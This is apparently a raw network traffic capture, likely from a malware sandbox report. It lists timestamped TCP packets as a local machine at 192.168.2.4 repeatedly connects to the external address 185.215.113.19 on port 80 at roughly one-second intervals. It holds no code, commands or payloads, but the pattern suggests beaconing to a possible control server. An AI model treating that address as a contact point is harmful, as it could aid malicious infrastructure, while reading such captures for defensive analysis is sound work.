Jul 26, 2024 20:57:15.399614096 CEST	49747	80	192.168.2.4	185.215.113.19
Jul 26, 2024 20:57:15.404668093 CEST	80	49747	185.215.113.19	192.168.2.4
Jul 26, 2024 20:57:15.646560907 CEST	80	49747	185.215.113.19	192.168.2.4
Jul 26, 2024 20:57:15.646644115 CEST	49747	80	192.168.2.4	185.215.113.19
Jul 26, 2024 20:57:15.760164022 CEST	49747	80	192.168.2.4	185.215.113.19
Jul 26, 2024 20:57:15.760520935 CEST	49748	80	192.168.2.4	185.215.113.19
Jul 26, 2024 20:57:15.765324116 CEST	80	49748	185.215.113.19	192.168.2.4
Jul 26, 2024 20:57:15.765531063 CEST	49748	80	192.168.2.4	185.215.113.19
Jul 26, 2024 20:57:15.765655041 CEST	80	49747	185.215.113.19	192.168.2.4
Jul 26, 2024 20:57:15.765714884 CEST	49747	80	192.168.2.4	185.215.113.19
Jul 26, 2024 20:57:15.765801907 CEST	49748	80	192.168.2.4	185.215.113.19
Jul 26, 2024 20:57:15.770730019 CEST	80	49748	185.215.113.19	192.168.2.4
Jul 26, 2024 20:57:16.517934084 CEST	80	49748	185.215.113.19	192.168.2.4
Jul 26, 2024 20:57:16.518033028 CEST	49748	80	192.168.2.4	185.215.113.19
Jul 26, 2024 20:57:16.519432068 CEST	49748	80	192.168.2.4	185.215.113.19
Jul 26, 2024 20:57:16.525207996 CEST	80	49748	185.215.113.19	192.168.2.4
Jul 26, 2024 20:57:16.768125057 CEST	80	49748	185.215.113.19	192.168.2.4
Jul 26, 2024 20:57:16.768219948 CEST	49748	80	192.168.2.4	185.215.113.19
Jul 26, 2024 20:57:16.869645119 CEST	49748	80	192.168.2.4	185.215.113.19
Jul 26, 2024 20:57:16.870079994 CEST	49749	80	192.168.2.4	185.215.113.19
Jul 26, 2024 20:57:16.875897884 CEST	80	49749	185.215.113.19	192.168.2.4
Jul 26, 2024 20:57:16.875972033 CEST	49749	80	192.168.2.4	185.215.113.19
Jul 26, 2024 20:57:16.876135111 CEST	49749	80	192.168.2.4	185.215.113.19
Jul 26, 2024 20:57:16.876351118 CEST	80	49748	185.215.113.19	192.168.2.4
Jul 26, 2024 20:57:16.876394987 CEST	49748	80	192.168.2.4	185.215.113.19
Jul 26, 2024 20:57:16.883963108 CEST	80	49749	185.215.113.19	192.168.2.4
Jul 26, 2024 20:57:17.647362947 CEST	80	49749	185.215.113.19	192.168.2.4
Jul 26, 2024 20:57:17.647470951 CEST	49749	80	192.168.2.4	185.215.113.19
Jul 26, 2024 20:57:17.648288965 CEST	49749	80	192.168.2.4	185.215.113.19
Jul 26, 2024 20:57:17.653058052 CEST	80	49749	185.215.113.19	192.168.2.4
Jul 26, 2024 20:57:17.897310972 CEST	80	49749	185.215.113.19	192.168.2.4
Jul 26, 2024 20:57:17.897392988 CEST	49749	80	192.168.2.4	185.215.113.19
Jul 26, 2024 20:57:18.011795998 CEST	49749	80	192.168.2.4	185.215.113.19
Jul 26, 2024 20:57:18.012161970 CEST	49750	80	192.168.2.4	185.215.113.19
Jul 26, 2024 20:57:18.031586885 CEST	80	49750	185.215.113.19	192.168.2.4
Jul 26, 2024 20:57:18.031667948 CEST	49750	80	192.168.2.4	185.215.113.19
Jul 26, 2024 20:57:18.031981945 CEST	49750	80	192.168.2.4	185.215.113.19
Jul 26, 2024 20:57:18.034437895 CEST	80	49749	185.215.113.19	192.168.2.4
Jul 26, 2024 20:57:18.034491062 CEST	49749	80	192.168.2.4	185.215.113.19
Jul 26, 2024 20:57:18.039598942 CEST	80	49750	185.215.113.19	192.168.2.4
Jul 26, 2024 20:57:18.803183079 CEST	80	49750	185.215.113.19	192.168.2.4
Jul 26, 2024 20:57:18.803354979 CEST	49750	80	192.168.2.4	185.215.113.19
Jul 26, 2024 20:57:18.805221081 CEST	49750	80	192.168.2.4	185.215.113.19
Jul 26, 2024 20:57:18.810322046 CEST	80	49750	185.215.113.19	192.168.2.4
Jul 26, 2024 20:57:19.052527905 CEST	80	49750	185.215.113.19	192.168.2.4
Jul 26, 2024 20:57:19.052756071 CEST	49750	80	192.168.2.4	185.215.113.19
Jul 26, 2024 20:57:19.167273045 CEST	49750	80	192.168.2.4	185.215.113.19
Jul 26, 2024 20:57:19.168044090 CEST	49751	80	192.168.2.4	185.215.113.19
Jul 26, 2024 20:57:19.173052073 CEST	80	49751	185.215.113.19	192.168.2.4
Jul 26, 2024 20:57:19.173149109 CEST	49751	80	192.168.2.4	185.215.113.19
Jul 26, 2024 20:57:19.173304081 CEST	49751	80	192.168.2.4	185.215.113.19
Jul 26, 2024 20:57:19.173891068 CEST	80	49750	185.215.113.19	192.168.2.4
Jul 26, 2024 20:57:19.173957109 CEST	49750	80	192.168.2.4	185.215.113.19
Jul 26, 2024 20:57:19.178174973 CEST	80	49751	185.215.113.19	192.168.2.4
Jul 26, 2024 20:57:19.964478016 CEST	80	49751	185.215.113.19	192.168.2.4
Jul 26, 2024 20:57:19.964590073 CEST	49751	80	192.168.2.4	185.215.113.19
Jul 26, 2024 20:57:19.966052055 CEST	49751	80	192.168.2.4	185.215.113.19
Jul 26, 2024 20:57:19.970988035 CEST	80	49751	185.215.113.19	192.168.2.4
Jul 26, 2024 20:57:21.093306065 CEST	80	49751	185.215.113.19	192.168.2.4
Jul 26, 2024 20:57:21.093369961 CEST	49751	80	192.168.2.4	185.215.113.19
Jul 26, 2024 20:57:21.100799084 CEST	80	49751	185.215.113.19	192.168.2.4
Jul 26, 2024 20:57:21.100848913 CEST	49751	80	192.168.2.4	185.215.113.19
Jul 26, 2024 20:57:21.102647066 CEST	80	49751	185.215.113.19	192.168.2.4
Jul 26, 2024 20:57:21.102709055 CEST	49751	80	192.168.2.4	185.215.113.19
Jul 26, 2024 20:57:21.106126070 CEST	80	49751	185.215.113.19	192.168.2.4
Jul 26, 2024 20:57:21.106182098 CEST	49751	80	192.168.2.4	185.215.113.19
Jul 26, 2024 20:57:21.200033903 CEST	49751	80	192.168.2.4	185.215.113.19
Jul 26, 2024 20:57:21.200313091 CEST	49752	80	192.168.2.4	185.215.113.19
Jul 26, 2024 20:57:21.206351995 CEST	80	49752	185.215.113.19	192.168.2.4
Jul 26, 2024 20:57:21.206432104 CEST	49752	80	192.168.2.4	185.215.113.19
Jul 26, 2024 20:57:21.206554890 CEST	80	49751	185.215.113.19	192.168.2.4
Jul 26, 2024 20:57:21.206605911 CEST	49751	80	192.168.2.4	185.215.113.19
Jul 26, 2024 20:57:21.206692934 CEST	49752	80	192.168.2.4	185.215.113.19
Jul 26, 2024 20:57:21.211611986 CEST	80	49752	185.215.113.19	192.168.2.4
Jul 26, 2024 20:57:21.995510101 CEST	80	49752	185.215.113.19	192.168.2.4
Jul 26, 2024 20:57:21.995614052 CEST	49752	80	192.168.2.4	185.215.113.19
Jul 26, 2024 20:57:21.996994972 CEST	49752	80	192.168.2.4	185.215.113.19
Jul 26, 2024 20:57:22.015539885 CEST	80	49752	185.215.113.19	192.168.2.4
Jul 26, 2024 20:57:22.272706985 CEST	80	49752	185.215.113.19	192.168.2.4
Jul 26, 2024 20:57:22.272778034 CEST	49752	80	192.168.2.4	185.215.113.19
Jul 26, 2024 20:57:22.385339975 CEST	49752	80	192.168.2.4	185.215.113.19
Jul 26, 2024 20:57:22.385652065 CEST	49753	80	192.168.2.4	185.215.113.19
Jul 26, 2024 20:57:22.395072937 CEST	80	49753	185.215.113.19	192.168.2.4
Jul 26, 2024 20:57:22.395164967 CEST	49753	80	192.168.2.4	185.215.113.19
Jul 26, 2024 20:57:22.395454884 CEST	49753	80	192.168.2.4	185.215.113.19
Jul 26, 2024 20:57:22.397839069 CEST	80	49752	185.215.113.19	192.168.2.4
Jul 26, 2024 20:57:22.397896051 CEST	49752	80	192.168.2.4	185.215.113.19
Jul 26, 2024 20:57:22.400309086 CEST	80	49753	185.215.113.19	192.168.2.4
Jul 26, 2024 20:57:23.145682096 CEST	80	49753	185.215.113.19	192.168.2.4
Jul 26, 2024 20:57:23.145809889 CEST	49753	80	192.168.2.4	185.215.113.19
Jul 26, 2024 20:57:23.146363020 CEST	49753	80	192.168.2.4	185.215.113.19
Jul 26, 2024 20:57:23.151206017 CEST	80	49753	185.215.113.19	192.168.2.4
Jul 26, 2024 20:57:23.392704010 CEST	80	49753	185.215.113.19	192.168.2.4
Jul 26, 2024 20:57:23.392884970 CEST	49753	80	192.168.2.4	185.215.113.19
Jul 26, 2024 20:57:23.495553970 CEST	49753	80	192.168.2.4	185.215.113.19
Jul 26, 2024 20:57:23.496411085 CEST	49754	80	192.168.2.4	185.215.113.19
Jul 26, 2024 20:57:23.502160072 CEST	80	49754	185.215.113.19	192.168.2.4
Jul 26, 2024 20:57:23.502361059 CEST	49754	80	192.168.2.4	185.215.113.19
Jul 26, 2024 20:57:23.502688885 CEST	49754	80	192.168.2.4	185.215.113.19
Jul 26, 2024 20:57:23.506748915 CEST	80	49753	185.215.113.19	192.168.2.4
Jul 26, 2024 20:57:23.506823063 CEST	49753	80	192.168.2.4	185.215.113.19
Jul 26, 2024 20:57:23.507754087 CEST	80	49754	185.215.113.19	192.168.2.4
Jul 26, 2024 20:57:24.261826038 CEST	80	49754	185.215.113.19	192.168.2.4
Jul 26, 2024 20:57:24.261931896 CEST	49754	80	192.168.2.4	185.215.113.19
Jul 26, 2024 20:57:24.262581110 CEST	49754	80	192.168.2.4	185.215.113.19
Jul 26, 2024 20:57:24.267432928 CEST	80	49754	185.215.113.19	192.168.2.4
Jul 26, 2024 20:57:24.510602951 CEST	80	49754	185.215.113.19	192.168.2.4
Jul 26, 2024 20:57:24.510694027 CEST	49754	80	192.168.2.4	185.215.113.19
Jul 26, 2024 20:57:24.620390892 CEST	49754	80	192.168.2.4	185.215.113.19
Jul 26, 2024 20:57:24.620661020 CEST	49755	80	192.168.2.4	185.215.113.19
Jul 26, 2024 20:57:24.625734091 CEST	80	49755	185.215.113.19	192.168.2.4
Jul 26, 2024 20:57:24.625808001 CEST	49755	80	192.168.2.4	185.215.113.19
Jul 26, 2024 20:57:24.625963926 CEST	49755	80	192.168.2.4	185.215.113.19
Jul 26, 2024 20:57:24.626315117 CEST	80	49754	185.215.113.19	192.168.2.4
Jul 26, 2024 20:57:24.626380920 CEST	49754	80	192.168.2.4	185.215.113.19
Jul 26, 2024 20:57:24.630774975 CEST	80	49755	185.215.113.19	192.168.2.4
Jul 26, 2024 20:57:25.383291960 CEST	80	49755	185.215.113.19	192.168.2.4
Jul 26, 2024 20:57:25.383488894 CEST	49755	80	192.168.2.4	185.215.113.19
Jul 26, 2024 20:57:25.384377956 CEST	49755	80	192.168.2.4	185.215.113.19
Jul 26, 2024 20:57:25.389841080 CEST	80	49755	185.215.113.19	192.168.2.4
Jul 26, 2024 20:57:25.643799067 CEST	80	49755	185.215.113.19	192.168.2.4
Jul 26, 2024 20:57:25.643894911 CEST	49755	80	192.168.2.4	185.215.113.19
Jul 26, 2024 20:57:25.760266066 CEST	49755	80	192.168.2.4	185.215.113.19
Jul 26, 2024 20:57:25.760813951 CEST	49756	80	192.168.2.4	185.215.113.19
Jul 26, 2024 20:57:25.773699045 CEST	80	49756	185.215.113.19	192.168.2.4
Jul 26, 2024 20:57:25.773837090 CEST	49756	80	192.168.2.4	185.215.113.19
Jul 26, 2024 20:57:25.773972034 CEST	49756	80	192.168.2.4	185.215.113.19
Jul 26, 2024 20:57:25.804652929 CEST	80	49755	185.215.113.19	192.168.2.4
Jul 26, 2024 20:57:25.804697037 CEST	80	49756	185.215.113.19	192.168.2.4
Jul 26, 2024 20:57:25.804719925 CEST	49755	80	192.168.2.4	185.215.113.19
Jul 26, 2024 20:57:26.563147068 CEST	80	49756	185.215.113.19	192.168.2.4
Jul 26, 2024 20:57:26.563313961 CEST	49756	80	192.168.2.4	185.215.113.19
Jul 26, 2024 20:57:26.564135075 CEST	49756	80	192.168.2.4	185.215.113.19
Jul 26, 2024 20:57:26.569087982 CEST	80	49756	185.215.113.19	192.168.2.4
Jul 26, 2024 20:57:26.812366962 CEST	80	49756	185.215.113.19	192.168.2.4
Jul 26, 2024 20:57:26.812513113 CEST	49756	80	192.168.2.4	185.215.113.19
Jul 26, 2024 20:57:26.919429064 CEST	49756	80	192.168.2.4	185.215.113.19
Jul 26, 2024 20:57:26.919692039 CEST	49757	80	192.168.2.4	185.215.113.19
Jul 26, 2024 20:57:27.133719921 CEST	80	49757	185.215.113.19	192.168.2.4
Jul 26, 2024 20:57:27.133825064 CEST	49757	80	192.168.2.4	185.215.113.19
Jul 26, 2024 20:57:27.133981943 CEST	49757	80	192.168.2.4	185.215.113.19
Jul 26, 2024 20:57:27.138531923 CEST	80	49756	185.215.113.19	192.168.2.4
Jul 26, 2024 20:57:27.138622046 CEST	49756	80	192.168.2.4	185.215.113.19
Jul 26, 2024 20:57:27.138859987 CEST	80	49757	185.215.113.19	192.168.2.4
Jul 26, 2024 20:57:27.894509077 CEST	80	49757	185.215.113.19	192.168.2.4
Jul 26, 2024 20:57:27.894694090 CEST	49757	80	192.168.2.4	185.215.113.19
Jul 26, 2024 20:57:27.895405054 CEST	49757	80	192.168.2.4	185.215.113.19
Jul 26, 2024 20:57:27.900468111 CEST	80	49757	185.215.113.19	192.168.2.4
Jul 26, 2024 20:57:28.145915985 CEST	80	49757	185.215.113.19	192.168.2.4
Jul 26, 2024 20:57:28.145978928 CEST	49757	80	192.168.2.4	185.215.113.19
Jul 26, 2024 20:57:28.260225058 CEST	49757	80	192.168.2.4	185.215.113.19
Jul 26, 2024 20:57:28.260582924 CEST	49758	80	192.168.2.4	185.215.113.19
Jul 26, 2024 20:57:28.268532991 CEST	80	49758	185.215.113.19	192.168.2.4
Jul 26, 2024 20:57:28.268611908 CEST	49758	80	192.168.2.4	185.215.113.19
Jul 26, 2024 20:57:28.269089937 CEST	49758	80	192.168.2.4	185.215.113.19
Jul 26, 2024 20:57:28.270252943 CEST	80	49757	185.215.113.19	192.168.2.4
Jul 26, 2024 20:57:28.270315886 CEST	49757	80	192.168.2.4	185.215.113.19
Jul 26, 2024 20:57:28.276340961 CEST	80	49758	185.215.113.19	192.168.2.4
Jul 26, 2024 20:57:29.010404110 CEST	80	49758	185.215.113.19	192.168.2.4
Jul 26, 2024 20:57:29.010490894 CEST	49758	80	192.168.2.4	185.215.113.19
Jul 26, 2024 20:57:29.011056900 CEST	49758	80	192.168.2.4	185.215.113.19
Jul 26, 2024 20:57:29.016021013 CEST	80	49758	185.215.113.19	192.168.2.4
Jul 26, 2024 20:57:29.257996082 CEST	80	49758	185.215.113.19	192.168.2.4
Jul 26, 2024 20:57:29.258074045 CEST	49758	80	192.168.2.4	185.215.113.19
Jul 26, 2024 20:57:29.369436979 CEST	49758	80	192.168.2.4	185.215.113.19
Jul 26, 2024 20:57:29.369823933 CEST	49759	80	192.168.2.4	185.215.113.19
Jul 26, 2024 20:57:29.375312090 CEST	80	49759	185.215.113.19	192.168.2.4
Jul 26, 2024 20:57:29.375399113 CEST	80	49758	185.215.113.19	192.168.2.4
Jul 26, 2024 20:57:29.375451088 CEST	49758	80	192.168.2.4	185.215.113.19
Jul 26, 2024 20:57:29.375529051 CEST	49759	80	192.168.2.4	185.215.113.19
Jul 26, 2024 20:57:29.375608921 CEST	49759	80	192.168.2.4	185.215.113.19
Jul 26, 2024 20:57:29.380474091 CEST	80	49759	185.215.113.19	192.168.2.4
Jul 26, 2024 20:57:30.133560896 CEST	80	49759	185.215.113.19	192.168.2.4
Jul 26, 2024 20:57:30.133810043 CEST	49759	80	192.168.2.4	185.215.113.19
Jul 26, 2024 20:57:30.136085033 CEST	49759	80	192.168.2.4	185.215.113.19
Jul 26, 2024 20:57:30.154762983 CEST	80	49759	185.215.113.19	192.168.2.4
Jul 26, 2024 20:57:30.398397923 CEST	80	49759	185.215.113.19	192.168.2.4
Jul 26, 2024 20:57:30.398488998 CEST	49759	80	192.168.2.4	185.215.113.19
Jul 26, 2024 20:57:30.510664940 CEST	49759	80	192.168.2.4	185.215.113.19
Jul 26, 2024 20:57:30.510977983 CEST	49760	80	192.168.2.4	185.215.113.19
Jul 26, 2024 20:57:30.517210007 CEST	80	49760	185.215.113.19	192.168.2.4
Jul 26, 2024 20:57:30.517441034 CEST	49760	80	192.168.2.4	185.215.113.19
Jul 26, 2024 20:57:30.517441034 CEST	49760	80	192.168.2.4	185.215.113.19
Jul 26, 2024 20:57:30.517715931 CEST	80	49759	185.215.113.19	192.168.2.4
Jul 26, 2024 20:57:30.517815113 CEST	49759	80	192.168.2.4	185.215.113.19
Jul 26, 2024 20:57:30.523832083 CEST	80	49760	185.215.113.19	192.168.2.4
Jul 26, 2024 20:57:31.298367023 CEST	80	49760	185.215.113.19	192.168.2.4
Jul 26, 2024 20:57:31.298557043 CEST	49760	80	192.168.2.4	185.215.113.19
Jul 26, 2024 20:57:31.299105883 CEST	49760	80	192.168.2.4	185.215.113.19
Jul 26, 2024 20:57:31.306350946 CEST	80	49760	185.215.113.19	192.168.2.4
Jul 26, 2024 20:57:31.552133083 CEST	80	49760	185.215.113.19	192.168.2.4
Jul 26, 2024 20:57:31.552335978 CEST	49760	80	192.168.2.4	185.215.113.19
Jul 26, 2024 20:57:31.666522026 CEST	49760	80	192.168.2.4	185.215.113.19
Jul 26, 2024 20:57:31.666687012 CEST	49761	80	192.168.2.4	185.215.113.19
Jul 26, 2024 20:57:31.671904087 CEST	80	49761	185.215.113.19	192.168.2.4
Jul 26, 2024 20:57:31.672013044 CEST	49761	80	192.168.2.4	185.215.113.19
Jul 26, 2024 20:57:31.672142982 CEST	49761	80	192.168.2.4	185.215.113.19
Jul 26, 2024 20:57:31.672573090 CEST	80	49760	185.215.113.19	192.168.2.4
Jul 26, 2024 20:57:31.672796011 CEST	49760	80	192.168.2.4	185.215.113.19
Jul 26, 2024 20:57:31.677653074 CEST	80	49761	185.215.113.19	192.168.2.4
Jul 26, 2024 20:57:32.427648067 CEST	80	49761	185.215.113.19	192.168.2.4
Jul 26, 2024 20:57:32.427757025 CEST	49761	80	192.168.2.4	185.215.113.19
Jul 26, 2024 20:57:32.428349972 CEST	49761	80	192.168.2.4	185.215.113.19
Jul 26, 2024 20:57:32.433429003 CEST	80	49761	185.215.113.19	192.168.2.4
Jul 26, 2024 20:57:32.685292006 CEST	80	49761	185.215.113.19	192.168.2.4
Jul 26, 2024 20:57:32.685363054 CEST	49761	80	192.168.2.4	185.215.113.19
Jul 26, 2024 20:57:32.791336060 CEST	49761	80	192.168.2.4	185.215.113.19
Jul 26, 2024 20:57:32.791634083 CEST	49762	80	192.168.2.4	185.215.113.19
Jul 26, 2024 20:57:32.796601057 CEST	80	49762	185.215.113.19	192.168.2.4
Jul 26, 2024 20:57:32.796701908 CEST	49762	80	192.168.2.4	185.215.113.19
Jul 26, 2024 20:57:32.796787024 CEST	49762	80	192.168.2.4	185.215.113.19
Jul 26, 2024 20:57:32.797139883 CEST	80	49761	185.215.113.19	192.168.2.4
Jul 26, 2024 20:57:32.797187090 CEST	49761	80	192.168.2.4	185.215.113.19
Jul 26, 2024 20:57:32.801740885 CEST	80	49762	185.215.113.19	192.168.2.4
Jul 26, 2024 20:57:33.541835070 CEST	80	49762	185.215.113.19	192.168.2.4
Jul 26, 2024 20:57:33.542015076 CEST	49762	80	192.168.2.4	185.215.113.19
Jul 26, 2024 20:57:33.542690992 CEST	49762	80	192.168.2.4	185.215.113.19
Jul 26, 2024 20:57:33.549820900 CEST	80	49762	185.215.113.19	192.168.2.4
Jul 26, 2024 20:57:33.794807911 CEST	80	49762	185.215.113.19	192.168.2.4
Jul 26, 2024 20:57:33.794910908 CEST	49762	80	192.168.2.4	185.215.113.19
Jul 26, 2024 20:57:33.901158094 CEST	49762	80	192.168.2.4	185.215.113.19
Jul 26, 2024 20:57:33.902079105 CEST	49763	80	192.168.2.4	185.215.113.19
Jul 26, 2024 20:57:33.907335997 CEST	80	49763	185.215.113.19	192.168.2.4
Jul 26, 2024 20:57:33.907423019 CEST	49763	80	192.168.2.4	185.215.113.19
Jul 26, 2024 20:57:33.907682896 CEST	49763	80	192.168.2.4	185.215.113.19
Jul 26, 2024 20:57:33.908696890 CEST	80	49762	185.215.113.19	192.168.2.4
Jul 26, 2024 20:57:33.908746958 CEST	49762	80	192.168.2.4	185.215.113.19
Jul 26, 2024 20:57:33.913569927 CEST	80	49763	185.215.113.19	192.168.2.4
Jul 26, 2024 20:57:34.685813904 CEST	80	49763	185.215.113.19	192.168.2.4
Jul 26, 2024 20:57:34.685935974 CEST	49763	80	192.168.2.4	185.215.113.19
Jul 26, 2024 20:57:34.686503887 CEST	49763	80	192.168.2.4	185.215.113.19
Jul 26, 2024 20:57:34.694310904 CEST	80	49763	185.215.113.19	192.168.2.4
Jul 26, 2024 20:57:34.942203999 CEST	80	49763	185.215.113.19	192.168.2.4
Jul 26, 2024 20:57:34.942308903 CEST	49763	80	192.168.2.4	185.215.113.19
Jul 26, 2024 20:57:35.056979895 CEST	49763	80	192.168.2.4	185.215.113.19
Jul 26, 2024 20:57:35.057250023 CEST	49764	80	192.168.2.4	185.215.113.19
Jul 26, 2024 20:57:35.063631058 CEST	80	49763	185.215.113.19	192.168.2.4
Jul 26, 2024 20:57:35.063680887 CEST	80	49764	185.215.113.19	192.168.2.4
Jul 26, 2024 20:57:35.063704014 CEST	49763	80	192.168.2.4	185.215.113.19
Jul 26, 2024 20:57:35.063766956 CEST	49764	80	192.168.2.4	185.215.113.19
Jul 26, 2024 20:57:35.063901901 CEST	49764	80	192.168.2.4	185.215.113.19
Jul 26, 2024 20:57:35.069024086 CEST	80	49764	185.215.113.19	192.168.2.4
Jul 26, 2024 20:57:35.814773083 CEST	80	49764	185.215.113.19	192.168.2.4
Jul 26, 2024 20:57:35.814871073 CEST	49764	80	192.168.2.4	185.215.113.19
Jul 26, 2024 20:57:35.815455914 CEST	49764	80	192.168.2.4	185.215.113.19
Jul 26, 2024 20:57:35.821671009 CEST	80	49764	185.215.113.19	192.168.2.4
Jul 26, 2024 20:57:36.064908981 CEST	80	49764	185.215.113.19	192.168.2.4
Jul 26, 2024 20:57:36.065140009 CEST	49764	80	192.168.2.4	185.215.113.19
Jul 26, 2024 20:57:36.170648098 CEST	49764	80	192.168.2.4	185.215.113.19
Jul 26, 2024 20:57:36.171114922 CEST	49765	80	192.168.2.4	185.215.113.19
Jul 26, 2024 20:57:36.182260990 CEST	80	49765	185.215.113.19	192.168.2.4
Jul 26, 2024 20:57:36.182352066 CEST	49765	80	192.168.2.4	185.215.113.19
Jul 26, 2024 20:57:36.184197903 CEST	49765	80	192.168.2.4	185.215.113.19
Jul 26, 2024 20:57:36.188854933 CEST	80	49764	185.215.113.19	192.168.2.4
Jul 26, 2024 20:57:36.188932896 CEST	49764	80	192.168.2.4	185.215.113.19
Jul 26, 2024 20:57:36.195599079 CEST	80	49765	185.215.113.19	192.168.2.4
Jul 26, 2024 20:57:36.982029915 CEST	80	49765	185.215.113.19	192.168.2.4
Jul 26, 2024 20:57:36.982189894 CEST	49765	80	192.168.2.4	185.215.113.19
Jul 26, 2024 20:57:36.983530045 CEST	49765	80	192.168.2.4	185.215.113.19
Jul 26, 2024 20:57:36.989408016 CEST	80	49765	185.215.113.19	192.168.2.4
Jul 26, 2024 20:57:37.231925011 CEST	80	49765	185.215.113.19	192.168.2.4
Jul 26, 2024 20:57:37.232153893 CEST	49765	80	192.168.2.4	185.215.113.19
Jul 26, 2024 20:57:37.339550972 CEST	49765	80	192.168.2.4	185.215.113.19
Jul 26, 2024 20:57:37.340432882 CEST	49766	80	192.168.2.4	185.215.113.19
Jul 26, 2024 20:57:37.345897913 CEST	80	49766	185.215.113.19	192.168.2.4
Jul 26, 2024 20:57:37.346117020 CEST	49766	80	192.168.2.4	185.215.113.19
Jul 26, 2024 20:57:37.346117020 CEST	49766	80	192.168.2.4	185.215.113.19
Jul 26, 2024 20:57:37.346369982 CEST	80	49765	185.215.113.19	192.168.2.4
Jul 26, 2024 20:57:37.346431971 CEST	49765	80	192.168.2.4	185.215.113.19
Jul 26, 2024 20:57:37.351474047 CEST	80	49766	185.215.113.19	192.168.2.4
Jul 26, 2024 20:57:38.133208036 CEST	80	49766	185.215.113.19	192.168.2.4
Jul 26, 2024 20:57:38.133318901 CEST	49766	80	192.168.2.4	185.215.113.19
Jul 26, 2024 20:57:38.134059906 CEST	49766	80	192.168.2.4	185.215.113.19
Jul 26, 2024 20:57:38.140098095 CEST	80	49766	185.215.113.19	192.168.2.4
Jul 26, 2024 20:57:38.388470888 CEST	80	49766	185.215.113.19	192.168.2.4
Jul 26, 2024 20:57:38.388565063 CEST	49766	80	192.168.2.4	185.215.113.19
Jul 26, 2024 20:57:38.496856928 CEST	49766	80	192.168.2.4	185.215.113.19
Jul 26, 2024 20:57:38.497060061 CEST	49767	80	192.168.2.4	185.215.113.19
Jul 26, 2024 20:57:38.502491951 CEST	80	49767	185.215.113.19	192.168.2.4
Jul 26, 2024 20:57:38.502598047 CEST	49767	80	192.168.2.4	185.215.113.19
Jul 26, 2024 20:57:38.502717972 CEST	49767	80	192.168.2.4	185.215.113.19
Jul 26, 2024 20:57:38.503499031 CEST	80	49766	185.215.113.19	192.168.2.4
Jul 26, 2024 20:57:38.503566980 CEST	49766	80	192.168.2.4	185.215.113.19
Jul 26, 2024 20:57:38.508202076 CEST	80	49767	185.215.113.19	192.168.2.4
Jul 26, 2024 20:57:39.251872063 CEST	80	49767	185.215.113.19	192.168.2.4
Jul 26, 2024 20:57:39.252063036 CEST	49767	80	192.168.2.4	185.215.113.19
Jul 26, 2024 20:57:39.252782106 CEST	49767	80	192.168.2.4	185.215.113.19
Jul 26, 2024 20:57:39.258735895 CEST	80	49767	185.215.113.19	192.168.2.4
Jul 26, 2024 20:57:39.508150101 CEST	80	49767	185.215.113.19	192.168.2.4
Jul 26, 2024 20:57:39.508236885 CEST	49767	80	192.168.2.4	185.215.113.19
Jul 26, 2024 20:57:39.673404932 CEST	49767	80	192.168.2.4	185.215.113.19
Jul 26, 2024 20:57:39.673676968 CEST	49768	80	192.168.2.4	185.215.113.19
Jul 26, 2024 20:57:39.678626060 CEST	80	49768	185.215.113.19	192.168.2.4
Jul 26, 2024 20:57:39.678775072 CEST	49768	80	192.168.2.4	185.215.113.19
Jul 26, 2024 20:57:39.685909986 CEST	80	49767	185.215.113.19	192.168.2.4
Jul 26, 2024 20:57:39.686018944 CEST	49767	80	192.168.2.4	185.215.113.19
Jul 26, 2024 20:57:39.726646900 CEST	49768	80	192.168.2.4	185.215.113.19
Jul 26, 2024 20:57:39.731560946 CEST	80	49768	185.215.113.19	192.168.2.4
Jul 26, 2024 20:57:40.503628016 CEST	80	49768	185.215.113.19	192.168.2.4
Jul 26, 2024 20:57:40.503736973 CEST	49768	80	192.168.2.4	185.215.113.19
Jul 26, 2024 20:57:40.505124092 CEST	49768	80	192.168.2.4	185.215.113.19
Jul 26, 2024 20:57:40.510859013 CEST	80	49768	185.215.113.19	192.168.2.4
Jul 26, 2024 20:57:40.758210897 CEST	80	49768	185.215.113.19	192.168.2.4
Jul 26, 2024 20:57:40.758371115 CEST	49768	80	192.168.2.4	185.215.113.19
Jul 26, 2024 20:57:40.869560957 CEST	49768	80	192.168.2.4	185.215.113.19
Jul 26, 2024 20:57:40.869982004 CEST	49769	80	192.168.2.4	185.215.113.19
Jul 26, 2024 20:57:40.874979019 CEST	80	49769	185.215.113.19	192.168.2.4
Jul 26, 2024 20:57:40.875046015 CEST	80	49768	185.215.113.19	192.168.2.4
Jul 26, 2024 20:57:40.875072002 CEST	49769	80	192.168.2.4	185.215.113.19
Jul 26, 2024 20:57:40.875104904 CEST	49768	80	192.168.2.4	185.215.113.19
Jul 26, 2024 20:57:40.875351906 CEST	49769	80	192.168.2.4	185.215.113.19
Jul 26, 2024 20:57:40.880218983 CEST	80	49769	185.215.113.19	192.168.2.4
Jul 26, 2024 20:57:41.681533098 CEST	80	49769	185.215.113.19	192.168.2.4
Jul 26, 2024 20:57:41.681948900 CEST	49769	80	192.168.2.4	185.215.113.19
Jul 26, 2024 20:57:41.682354927 CEST	49769	80	192.168.2.4	185.215.113.19
Jul 26, 2024 20:57:41.694550991 CEST	80	49769	185.215.113.19	192.168.2.4
Jul 26, 2024 20:57:41.941015959 CEST	80	49769	185.215.113.19	192.168.2.4
Jul 26, 2024 20:57:41.941428900 CEST	49769	80	192.168.2.4	185.215.113.19
Jul 26, 2024 20:57:42.110714912 CEST	49769	80	192.168.2.4	185.215.113.19
Jul 26, 2024 20:57:42.110881090 CEST	49770	80	192.168.2.4	185.215.113.19
Jul 26, 2024 20:57:42.116168976 CEST	80	49770	185.215.113.19	192.168.2.4
Jul 26, 2024 20:57:42.116265059 CEST	49770	80	192.168.2.4	185.215.113.19
Jul 26, 2024 20:57:42.116548061 CEST	80	49769	185.215.113.19	192.168.2.4
Jul 26, 2024 20:57:42.116605997 CEST	49769	80	192.168.2.4	185.215.113.19
Jul 26, 2024 20:57:42.118132114 CEST	49770	80	192.168.2.4	185.215.113.19
Jul 26, 2024 20:57:42.123066902 CEST	80	49770	185.215.113.19	192.168.2.4
Jul 26, 2024 20:57:42.900330067 CEST	80	49770	185.215.113.19	192.168.2.4
Jul 26, 2024 20:57:42.900657892 CEST	49770	80	192.168.2.4	185.215.113.19
Jul 26, 2024 20:57:42.901269913 CEST	49770	80	192.168.2.4	185.215.113.19
Jul 26, 2024 20:57:42.906997919 CEST	80	49770	185.215.113.19	192.168.2.4
Jul 26, 2024 20:57:43.153440952 CEST	80	49770	185.215.113.19	192.168.2.4
Jul 26, 2024 20:57:43.153635979 CEST	49770	80	192.168.2.4	185.215.113.19
Jul 26, 2024 20:57:43.260224104 CEST	49770	80	192.168.2.4	185.215.113.19
